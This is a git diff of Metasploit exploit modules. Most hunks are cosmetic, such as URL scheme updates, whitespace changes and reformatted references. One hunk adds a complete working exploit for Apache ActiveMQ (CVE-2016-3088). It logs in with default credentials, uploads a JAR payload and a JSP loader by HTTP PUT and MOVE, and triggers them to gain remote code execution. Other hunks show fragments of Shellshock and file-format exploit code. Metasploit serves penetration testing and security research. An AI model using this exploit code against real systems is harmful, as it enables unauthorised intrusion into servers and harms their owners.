index ab1ac38520..cf358c301b 100644
--- a/modules/exploits/multi/browser/opera_configoverwrite.rb
+++ b/modules/exploits/multi/browser/opera_configoverwrite.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -131,5 +131,4 @@ blank_iframe_window.eval(
 ENDJS
 
   end
-
 end
diff --git a/modules/exploits/multi/browser/opera_historysearch.rb b/modules/exploits/multi/browser/opera_historysearch.rb
index 0d78fe6e64..ca8723c641 100644
--- a/modules/exploits/multi/browser/opera_historysearch.rb
+++ b/modules/exploits/multi/browser/opera_historysearch.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -170,5 +170,4 @@ class MetasploitModule < Msf::Exploit::Remote
     send_response_html(cli, content, headers)
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/multi/browser/qtjava_pointer.rb b/modules/exploits/multi/browser/qtjava_pointer.rb
index f502b5a158..f88a5ede57 100644
--- a/modules/exploits/multi/browser/qtjava_pointer.rb
+++ b/modules/exploits/multi/browser/qtjava_pointer.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
diff --git a/modules/exploits/multi/elasticsearch/script_mvel_rce.rb b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb
index dde1cfccf0..6201281661 100644
--- a/modules/exploits/multi/elasticsearch/script_mvel_rce.rb
+++ b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -209,5 +209,4 @@ c.main(null);
 
     return res
   end
-
 end
diff --git a/modules/exploits/multi/elasticsearch/search_groovy_script.rb b/modules/exploits/multi/elasticsearch/search_groovy_script.rb
index 03a1fcfd78..c24b9cfd9c 100644
--- a/modules/exploits/multi/elasticsearch/search_groovy_script.rb
+++ b/modules/exploits/multi/elasticsearch/search_groovy_script.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -197,5 +197,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     res
   end
-
 end
diff --git a/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb b/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb
index b58b85e9a2..00e19872b6 100644
--- a/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb
+++ b/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -511,5 +511,4 @@ EOF
     pdf << "%%EOF" << eol
 
   end
-
 end
diff --git a/modules/exploits/multi/fileformat/js_unpacker_eval_injection.rb b/modules/exploits/multi/fileformat/js_unpacker_eval_injection.rb
index 7deb6c1091..c542c525a0 100644
--- a/modules/exploits/multi/fileformat/js_unpacker_eval_injection.rb
+++ b/modules/exploits/multi/fileformat/js_unpacker_eval_injection.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -42,5 +42,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Creating '#{datastore['FILENAME']}' file...")
     file_create("eval(function(p,a,c,k,e,r){}((function(){ #{p} })(),''.split('|'),0,{}))")
   end
-
 end
diff --git a/modules/exploits/multi/fileformat/maple_maplet.rb b/modules/exploits/multi/fileformat/maple_maplet.rb
index c49b2839e2..957bf20580 100644
--- a/modules/exploits/multi/fileformat/maple_maplet.rb
+++ b/modules/exploits/multi/fileformat/maple_maplet.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -145,5 +145,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Creating '#{datastore['FILENAME']}' file...")
     file_create(content)
   end
-
 end
diff --git a/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb b/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb
index 54886a28e5..2396bea5f1 100644
--- a/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb
+++ b/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/fileformat/office_word_macro.rb b/modules/exploits/multi/fileformat/office_word_macro.rb
index 9e73b887f0..a03b73baa0 100644
--- a/modules/exploits/multi/fileformat/office_word_macro.rb
+++ b/modules/exploits/multi/fileformat/office_word_macro.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -283,5 +283,4 @@ class MetasploitModule < Msf::Exploit::Remote
     docm = pack_docm
     file_create(docm)
   end
-
 end
diff --git a/modules/exploits/multi/fileformat/peazip_command_injection.rb b/modules/exploits/multi/fileformat/peazip_command_injection.rb
index 0f3d042522..675d2186dd 100644
--- a/modules/exploits/multi/fileformat/peazip_command_injection.rb
+++ b/modules/exploits/multi/fileformat/peazip_command_injection.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -84,5 +84,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     file_create(zip.pack)
   end
-
 end
diff --git a/modules/exploits/multi/fileformat/swagger_param_inject.rb b/modules/exploits/multi/fileformat/swagger_param_inject.rb
index e7626102ee..2caa9da10b 100644
--- a/modules/exploits/multi/fileformat/swagger_param_inject.rb
+++ b/modules/exploits/multi/fileformat/swagger_param_inject.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,6 @@ require 'base64'
 #
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = ExcellentRanking
 
   include Msf::Exploit::FILEFORMAT
@@ -22,7 +21,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'JSON Swagger CodeGen Parameter Injector',
       'Description'    => %q{
-        This module generates a Open API Specification 2.0 (Swagger) compliant
+        This module generates an Open API Specification 2.0 (Swagger) compliant
         json document that includes payload insertion points in parameters.
 
         In order for the payload to be executed, an attacker must convince
diff --git a/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb b/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb
index 306ea623dd..f9a04af685 100644
--- a/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb
+++ b/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -27,12 +27,13 @@ class MetasploitModule < Msf::Exploit::Remote
         ],
       'References'      =>
         [
-          ['CVE', '2014-6271'],
-          ['CWE', '94'],
-          ['OSVDB', '112004'],
-          ['EDB', '34765'],
-          ['URL', 'https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc'],
-          ['URL', 'http://download.pureftpd.org/pub/pure-ftpd/doc/README.Authentication-Modules']
+          [ 'AKA', 'Shellshock' ],
+          [ 'CVE', '2014-6271' ],
+          [ 'CWE', '94' ],
+          [ 'OSVDB', '112004' ],
+          [ 'EDB', '34765' ],
+          [ 'URL', 'https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc' ],
+          [ 'URL', 'http://download.pureftpd.org/pub/pure-ftpd/doc/README.Authentication-Modules' ]
         ],
       'Payload'         =>
         {
diff --git a/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb b/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb
index e418e93cc2..ad4726593b 100644
--- a/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb
+++ b/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/gdb/gdb_server_exec.rb b/modules/exploits/multi/gdb/gdb_server_exec.rb
index 4c647fb5d4..1ddcf35017 100644
--- a/modules/exploits/multi/gdb/gdb_server_exec.rb
+++ b/modules/exploits/multi/gdb/gdb_server_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -74,5 +74,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/multi/handler.rb b/modules/exploits/multi/handler.rb
index 096ab2e7cb..0d528c7a77 100644
--- a/modules/exploits/multi/handler.rb
+++ b/modules/exploits/multi/handler.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,49 +12,53 @@ class MetasploitModule < Msf::Exploit::Remote
   #
 
   def initialize(info = {})
-    super(update_info(info,
-      'Name'           => 'Generic Payload Handler',
-      'Description'    => %q{
-        This module is a stub that provides all of the
-        features of the Metasploit payload system to exploits
-        that have been launched outside of the framework.
-      },
-      'License'        => MSF_LICENSE,
-      'Author'         =>  ['hdm'],
-      'References'     =>  [ ],
-      'Payload'        =>
-        {
-          'Space'       => 10000000,
-          'BadChars'    => '',
-          'DisableNops' => true,
-        },
-      'Platform'       => %w{ android bsd java js linux osx nodejs php python ruby solaris unix win mainframe multi },
-      'Arch'           => ARCH_ALL,
-      'Targets'        => [ [ 'Wildcard Target', { } ] ],
-      'DefaultTarget'  => 0
-      ))
+    super(
+      update_info(
+        info,
+        'Name'           => 'Generic Payload Handler',
+        'Description'    => %q(
+          This module is a stub that provides all of the
+          features of the Metasploit payload system to exploits
+          that have been launched outside of the framework.
+        ),
+        'License'        => MSF_LICENSE,
+        'Author'         =>  [ 'hdm', 'bcook-r7' ],
+        'References'     =>  [ ],
+        'Payload'        =>
+          {
+            'Space'       => 10000000,
+            'BadChars'    => '',
+            'DisableNops' => true
+          },
+        'Platform'       => %w[android bsd java js linux osx nodejs php python ruby solaris unix win mainframe multi],
+        'Arch'           => ARCH_ALL,
+        'Targets'        => [ [ 'Wildcard Target', {} ] ],
+        'DefaultTarget'  => 0,
+        'Stance'         => Msf::Exploit::Stance::Passive
+      )
+    )
 
     register_advanced_options(
       [
-        OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ]),
-        OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 0])
-      ])
+        OptBool.new(
+          "ExitOnSession",
+          [ true, "Return from the exploit after a session has been created", false ]
+        ),
+        OptInt.new(
+          "ListenerTimeout",
+          [ false, "The maximum number of seconds to wait for new sessions", 0 ]
+        )
+      ]
+    )
   end
 
   def exploit
-    if not datastore['ExitOnSession'] and not job_id
-      fail_with(Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")
-    end
-
     stime = Time.now.to_f
-    print_status "Starting the payload handler..."
-    while(true)
-      break if session_created? and datastore['ExitOnSession']
-      break if ( datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f) )
-
-      select(nil,nil,nil,1)
+    timeout = datastore['ListenerTimeout'].to_i
+    loop do
+      break if session_created? && datastore['ExitOnSession']
+      break if timeout > 0 && (stime + timeout < Time.now.to_f)
+      sleep(1)
     end
   end
-
-
 end
diff --git a/modules/exploits/multi/http/activecollab_chat.rb b/modules/exploits/multi/http/activecollab_chat.rb
index e265832430..f3eff5ea1c 100644
--- a/modules/exploits/multi/http/activecollab_chat.rb
+++ b/modules/exploits/multi/http/activecollab_chat.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb
index eef47e72e9..b2aadc32b5 100644
--- a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb
+++ b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -99,7 +99,6 @@ class MetasploitModule < Msf::Exploit::Remote
       end
     end
   end
-
 end
 
 =begin
diff --git a/modules/exploits/multi/http/apache_activemq_upload_jsp.rb b/modules/exploits/multi/http/apache_activemq_upload_jsp.rb
new file mode 100644
index 0000000000..6290f1afdd
--- /dev/null
+++ b/modules/exploits/multi/http/apache_activemq_upload_jsp.rb
@@ -0,0 +1,141 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::FileDropper
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'        => 'ActiveMQ web shell upload',
+      'Description' => %q(
+        The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0
+        allows remote attackers to upload and execute arbitrary files via an
+        HTTP PUT followed by an HTTP MOVE request.
+      ),
+      'Author'      => [ 'Ian Anderson <andrsn84[at]gmail.com>', 'Hillary Benson <1n7r1gu3[at]gmail.com>' ],
+      'License'     => MSF_LICENSE,
+      'References'  =>
+        [
+          [ 'CVE', '2016-3088' ],
+          [ 'URL', 'http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt' ]
+        ],
+      'Privileged'  => true,
+      'Platform'    => %w{ java linux win },
+      'Targets'     =>
+        [
+          [ 'Java Universal',
+            {
+              'Platform' => 'java',
+              'Arch' => ARCH_JAVA
+            }
+          ],
+          [ 'Linux',
+            {
+              'Platform' => 'linux',
+              'Arch' => ARCH_X86
+            }
+          ],
+          [ 'Windows',
+             {
+               'Platform' => 'win',
+               'Arch' => ARCH_X86
+             }
+           ]
+        ],
+      'DisclosureDate' => "Jun 01 2016",
+      'DefaultTarget'  => 0))
+    register_options(
+      [
+        OptString.new('BasicAuthUser', [ true, 'The username to authenticate as', 'admin' ]),
+        OptString.new('BasicAuthPass', [ true, 'The password for the specified username', 'admin' ]),
+        OptString.new('JSP', [ false, 'JSP name to use, excluding the .jsp extension (default: random)', nil ]),
+        OptString.new('AutoCleanup', [ false, 'Remove web shells after callback is received', 'true' ]),
+        Opt::RPORT(8161)
+      ])
+    register_advanced_options(
+      [
+        OptString.new('UploadPath', [false, 'Custom directory into which web shells are uploaded', nil])
+      ])
+  end
+
+  def jsp_text(payload_name)
+    %{
+    <%@ page import="java.io.*"
+    %><%@ page import="java.net.*"
+    %><%
+    URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("./#{payload_name}.jar")).toURI().toURL()});
+    Class c = cl.loadClass("metasploit.Payload");
+    c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});
+    %>}
+  end
+
+  def exploit
+    jar_payload = payload.encoded_jar.pack
+    payload_name = datastore['JSP'] || rand_text_alpha(8 + rand(8))
+    host = "#{datastore['RHOST']}:#{datastore['RPORT']}"
+    @url = datastore['SSL'] ? "https://#{host}" : "http://#{host}"
+    paths = get_upload_paths
+    paths.each do |path|
+      if try_upload(path, jar_payload, payload_name)
+        break handler if trigger_payload(payload_name)
+        print_error('Unable to trigger payload')
+      end
+    end
+  end
+
+  def try_upload(path, jar_payload, payload_name)
+    ['.jar', '.jsp'].each do |ext|
+      file_name = payload_name + ext
+      data = ext == '.jsp' ? jsp_text(payload_name) : jar_payload
+      move_headers = { 'Destination' => "#{@url}#{path}#{file_name}" }
+      upload_uri = normalize_uri('fileserver', file_name)
+      print_status("Uploading #{move_headers['Destination']}")
+      register_files_for_cleanup "#{path}#{file_name}" if datastore['AutoCleanup'].casecmp('true')
+      return error_out unless send_request('PUT', upload_uri, 204, 'data' => data) &&
+                              send_request('MOVE', upload_uri, 204, 'headers' => move_headers)
+      @trigger_resource = /webapps(.*)/.match(path)[1]
+    end
+    true
+  end
+
+  def get_upload_paths
+    base_path = "#{get_install_path}/webapps"
+    custom_path = datastore['UploadPath']
+    return [normalize_uri(base_path, custom_path)] unless custom_path.nil?
+    [ "#{base_path}/api/", "#{base_path}/admin/" ]
+  end
+
+  def get_install_path
+    properties_page = send_request('GET', "#{@url}/admin/test/systemProperties.jsp").body
+    match = properties_page.tr("\n", '@').match(/activemq\.home<\/td>@\s*<td>([^@]+)<\/td>/)
+    return match[1] unless match.nil?
+  end
+
+  def send_request(method, uri, expected_response = 200, opts = {})
+    opts['headers'] ||= {}
+    opts['headers']['Authorization'] = basic_auth(datastore['BasicAuthUser'], datastore['BasicAuthPass'])
+    opts['headers']['Connection'] = 'close'
+    r = send_request_cgi(
+      {
+        'method'  => method,
+        'uri'     => uri
+      }.merge(opts)
+    )
+    return false if r.nil? || expected_response != r.code.to_i
+    r
+  end
+
+  def trigger_payload(payload_name)
+    send_request('POST', @url + @trigger_resource + payload_name + '.jsp')
+  end
+
+  def error_out
+    print_error('Upload failed')
+    @trigger_resource = nil
+    false
+  end
+end
diff --git a/modules/exploits/multi/http/apache_jetspeed_file_upload.rb b/modules/exploits/multi/http/apache_jetspeed_file_upload.rb
index 675af28bee..d9d993aaa8 100644
--- a/modules/exploits/multi/http/apache_jetspeed_file_upload.rb
+++ b/modules/exploits/multi/http/apache_jetspeed_file_upload.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = ManualRanking
 
   include Msf::Exploit::Remote::HttpClient
@@ -222,5 +221,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def zip_filename
     @zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip'
   end
-
 end
diff --git a/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb b/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb
index 3da45195bd..8c78506a35 100644
--- a/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb
+++ b/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -25,13 +25,14 @@ class MetasploitModule < Msf::Exploit::Remote
         'lcamtuf' # CVE-2014-6278
       ],
       'References' => [
-        ['CVE', '2014-6271'],
-        ['CVE', '2014-6278'],
-        ['CWE', '94'],
-        ['OSVDB', '112004'],
-        ['EDB', '34765'],
-        ['URL', 'https://access.redhat.com/articles/1200223'],
-        ['URL', 'http://seclists.org/oss-sec/2014/q3/649']
+        [ 'AKA', 'Shellshock' ],
+        [ 'CVE', '2014-6271' ],
+        [ 'CVE', '2014-6278' ],
+        [ 'CWE', '94' ],
+        [ 'OSVDB', '112004' ],
+        [ 'EDB', '34765' ],
+        [ 'URL', 'https://access.redhat.com/articles/1200223' ],
+        [ 'URL', 'http://seclists.org/oss-sec/2014/q3/649' ]
       ],
       'Payload'        =>
         {
diff --git a/modules/exploits/multi/http/apache_roller_ognl_injection.rb b/modules/exploits/multi/http/apache_roller_ognl_injection.rb
index 28b7f871a2..fda00f6181 100644
--- a/modules/exploits/multi/http/apache_roller_ognl_injection.rb
+++ b/modules/exploits/multi/http/apache_roller_ognl_injection.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -131,5 +131,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     return Exploit::CheckCode::Safe
   end
-
 end
diff --git a/modules/exploits/multi/http/apprain_upload_exec.rb b/modules/exploits/multi/http/apprain_upload_exec.rb
index fe9fdb50b1..a46c25aef4 100644
--- a/modules/exploits/multi/http/apprain_upload_exec.rb
+++ b/modules/exploits/multi/http/apprain_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/atutor_sqli.rb b/modules/exploits/multi/http/atutor_sqli.rb
index c8140cce3d..b0787a211c 100644
--- a/modules/exploits/multi/http/atutor_sqli.rb
+++ b/modules/exploits/multi/http/atutor_sqli.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -136,7 +136,7 @@ class MetasploitModule < Msf::Exploit::Remote
     cookie = "ATutorID=#{$4};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
     if res && res.code == 302 && res.redirection.to_s.include?('admin/index.php')
       # if we made it here, we are admin
-      report_cred(user: username, password: hash)
+      store_valid_credential(user: username, private: hash, private_type: :nonreplayable_hash)
       return cookie
     end
     # auth failed if we land here, bail
@@ -227,32 +227,8 @@ class MetasploitModule < Msf::Exploit::Remote
     return false
   end
 
-  def report_cred(opts)
-    service_data = {
-      address: rhost,
-      port: rport,
-      service_name: ssl ? 'https' : 'http',
-      protocol: 'tcp',
-      workspace_id: myworkspace_id
-    }
-
-    credential_data = {
-      module_fullname: fullname,
-      post_reference_name: self.refname,
-      private_data: opts[:password],
-      origin_type: :service,
-      private_type: :nonreplayable_hash,
-      jtr_format: 'sha512',
-      username: opts[:user]
-    }.merge(service_data)
-
-    login_data = {
-      core: create_credential(credential_data),
-      status: Metasploit::Model::Login::Status::SUCCESSFUL,
-      last_attempted_at: Time.now
-    }.merge(service_data)
-
-    create_credential_login(login_data)
+  def service_details
+    super.merge({ post_reference_name: self.refname, jtr_format: 'sha512' })
   end
 
   def exploit
diff --git a/modules/exploits/multi/http/auxilium_upload_exec.rb b/modules/exploits/multi/http/auxilium_upload_exec.rb
index f1d9883890..8a7c06c1a4 100644
--- a/modules/exploits/multi/http/auxilium_upload_exec.rb
+++ b/modules/exploits/multi/http/auxilium_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/axis2_deployer.rb b/modules/exploits/multi/http/axis2_deployer.rb
index 3ee82f4e34..5f732d1340 100644
--- a/modules/exploits/multi/http/axis2_deployer.rb
+++ b/modules/exploits/multi/http/axis2_deployer.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -127,7 +127,7 @@ class MetasploitModule < Msf::Exploit::Remote
     }, 25)
 
     if (res and res.code == 200)
-      print_status("Successfully uploaded")
+      print_good("Successfully uploaded")
     else
       print_error("Error uploading #{res}")
       return
@@ -322,5 +322,4 @@ class MetasploitModule < Msf::Exploit::Remote
       print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] failed to login as '#{user}'")
     end
   end
-
 end
diff --git a/modules/exploits/multi/http/bassmaster_js_injection.rb b/modules/exploits/multi/http/bassmaster_js_injection.rb
index c94b7bd47f..0c472f54ee 100644
--- a/modules/exploits/multi/http/bassmaster_js_injection.rb
+++ b/modules/exploits/multi/http/bassmaster_js_injection.rb
@@ -1,3 +1,8 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
diff --git a/modules/exploits/multi/http/bolt_file_upload.rb b/modules/exploits/multi/http/bolt_file_upload.rb
index ac19b27a09..1b22d2a3d6 100644
--- a/modules/exploits/multi/http/bolt_file_upload.rb
+++ b/modules/exploits/multi/http/bolt_file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://www.metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/builderengine_upload_exec.rb b/modules/exploits/multi/http/builderengine_upload_exec.rb
index e0e03919ba..c1f4e1b9ac 100644
--- a/modules/exploits/multi/http/builderengine_upload_exec.rb
+++ b/modules/exploits/multi/http/builderengine_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/caidao_php_backdoor_exec.rb b/modules/exploits/multi/http/caidao_php_backdoor_exec.rb
index befe87eac8..982e52156c 100644
--- a/modules/exploits/multi/http/caidao_php_backdoor_exec.rb
+++ b/modules/exploits/multi/http/caidao_php_backdoor_exec.rb
@@ -1,6 +1,5 @@
-
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/cisco_dcnm_upload.rb b/modules/exploits/multi/http/cisco_dcnm_upload.rb
index e1b08b44d9..f6f4fbfb3a 100644
--- a/modules/exploits/multi/http/cisco_dcnm_upload.rb
+++ b/modules/exploits/multi/http/cisco_dcnm_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -147,5 +147,4 @@ class MetasploitModule < Msf::Exploit::Remote
       break if res.code == 200
     end
   end
-
 end
diff --git a/modules/exploits/multi/http/coldfusion_rds.rb b/modules/exploits/multi/http/coldfusion_rds.rb
index dd5bf24dad..9d07946db8 100644
--- a/modules/exploits/multi/http/coldfusion_rds.rb
+++ b/modules/exploits/multi/http/coldfusion_rds.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/cups_bash_env_exec.rb b/modules/exploits/multi/http/cups_bash_env_exec.rb
index 6757aa052f..a9c65e037f 100644
--- a/modules/exploits/multi/http/cups_bash_env_exec.rb
+++ b/modules/exploits/multi/http/cups_bash_env_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -22,13 +22,14 @@ class MetasploitModule < Msf::Exploit::Remote
         'Brendan Coles <bcoles[at]gmail.com>' # msf
       ],
       'References' => [
-        ['CVE', '2014-6271'],
-        ['CVE', '2014-6278'],
-        ['CWE', '94'],
-        ['OSVDB', '112004'],
-        ['EDB', '34765'],
-        ['URL', 'https://access.redhat.com/articles/1200223'],
-        ['URL', 'http://seclists.org/oss-sec/2014/q3/649']
+        [ 'AKA', 'Shellshock' ],
+        [ 'CVE', '2014-6271' ],
+        [ 'CVE', '2014-6278' ],
+        [ 'CWE', '94' ],
+        [ 'OSVDB', '112004' ],
+        [ 'EDB', '34765' ],
+        [ 'URL', 'https://access.redhat.com/articles/1200223' ],
+        [ 'URL', 'http://seclists.org/oss-sec/2014/q3/649' ]
       ],
       'Privileged' => false,
       'Arch' => ARCH_CMD,
@@ -124,11 +125,11 @@ class MetasploitModule < Msf::Exploit::Remote
     # with a CUPS filter pointing to /bin/bash
     res = add_printer(printer_name, cmd)
     if !res
-      fail_with(Failure::Unreachable, "#{peer} - Could not add printer - Connection failed.")
+      fail_with(Failure::Unreachable, "#{peer} - Could not add printer - Connection failed")
     elsif res.body =~ /Set Default Options for #{printer_name}/
       print_good("Added printer successfully")
